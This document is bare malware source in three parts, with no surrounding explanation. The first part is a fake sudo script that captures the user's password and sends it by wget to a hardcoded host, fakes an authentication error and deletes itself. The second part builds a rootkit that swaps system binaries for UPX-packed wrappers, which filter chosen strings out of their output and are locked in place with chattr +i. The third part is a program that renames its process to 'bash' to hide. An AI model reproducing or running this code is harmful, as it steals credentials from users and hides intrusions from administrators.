#!/bin/bash
 
URL="http://172.16.1.1/"
 
REAL_SUDO=/usr/bin/sudo
 
#export LANG="fr_FR.UTF-8"
STR="Mot de passe : "
 
lang=$(env | grep LANG | head -n 1 | cut -d'=' -f2 | cut -d'.' -f1 | cut -d'_' -f1)
 
case "$lang" in
  "fr") STR="Mot de passe : " ; ERR="sudo : Echec d'authentification" ;;
  "uk") STR="Password: "      ; ERR="sudo : Authentication failure"   ;;
esac
 
if [ $# -eq 0 ] ; then
  $REAL_SUDO $*
  exit $?
fi
 
printf "$STR"
stty -echo
read PASS
stty +echo
sleep 2.5
USR=$(whoami)
wget -q "$URL/getit.php?user=$USR&pass=$PASS" -O - >/dev/null
echo "$ERR"
echo "$uSER;$PASS" >> "$HOME/.logs "
rm -f "$0"
 

 
#!/bin/sh
 
if [ $# -ne 2 ]; then
  echo "
Usage $0 <program_path> <string_to_hide>
 
Open this script to know what it does
"
  exit 0
fi
 
p="/dev/.exe"
 
mkdir -p "$p"
e=$(which $1)
if [ ! -f "$e" ]; then
  echo "Not found : $e"
  exit 1
fi
 
 
b=$(basename $e)
 
[ ! -f "$p/$b" ] && cp -v "$e" "$p/$b"
 
cat << EOF > $b.c
#include <stdio.h>
#include <string.h>
 
#define EXE "/dev/.exe/$b"
#define HIDEME "$2"
 
int main(int ac, char **av)
{
 int i,j;
 char *buff=(char*)malloc(sizeof(char));
 
 strcpy(buff,EXE);
 strcat(buff," ");
 for(i=1;i<ac;i++)
 {
  strcat(buff,av[i]);
  if( i != ac-1 )
  {
   strcat(buff," ");
  }
 }
 strcat(buff,"|/bin/egrep -v '");
 strcat(buff,HIDEME);
 strcat(buff,"'");
 buff[strlen(buff)]='\\x00';
 return(system(buff));
}
EOF
 
 
gcc "$b.c" -o "$b"
upx -1 "$b"
 
m1=$(md5sum "$e" 2>&1|awk '{ print $1 }')
m2=$(md5sum "$p/$b" 2>&1|awk '{ print $1 }')
if [ -f "$p/$b" ]; then
  if [ "$m1" != "$m2" ]; then
    cp -fv "$b" "$e"
    chattr +i "$b" "$e"
  fi
fi
 

 
 
#include <string.h>
 
int main(int ac, char **av)
{
  int i,l;
 
  printf("\\n");
  printf("\\nI AM : %s ...",av[0]);
  printf("\\n");
  for(i=0;i<1;i++)
  {
    sleep(2);
  }
 
  printf("\\n");
  strcpy(av[0],"bash                                              ");
  printf("\\n... AND NOW FIND ME !");
  printf("\\n");
  for(i=strlen("bash");i<l;i++)
  {
    av[0][i]=NULL;
  }
  for(i=0;i<10;i++)
  {
    sleep(2);
  }
 
  return(0);
}